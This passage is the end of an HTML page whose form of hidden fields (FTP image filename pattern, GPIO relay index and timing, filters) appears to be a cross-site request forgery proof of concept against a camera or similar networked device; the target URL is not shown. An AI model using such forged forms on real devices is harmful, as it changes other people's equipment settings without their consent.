      <input type="hidden" name="ftp&#95;dest&#95;name" value="IMG&#37;m&#37;d&#37;Y&#37;H&#37;M&#37;S&#46;jpg" />
      <input type="hidden" name="relay&#95;bankName" value="GPIO" />
      <input type="hidden" name="relay&#95;index" value="0" />
      <input type="hidden" name="relay&#95;on&#95;time" value="0&#46;1" />
      <input type="hidden" name="relay&#95;off&#95;time" value="0&#46;1" />
      <input type="hidden" name="relay&#95;pulse&#95;count" value="" />
      <input type="hidden" name="filter&#95;start0" value="" />
      <input type="hidden" name="filter&#95;stop0" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>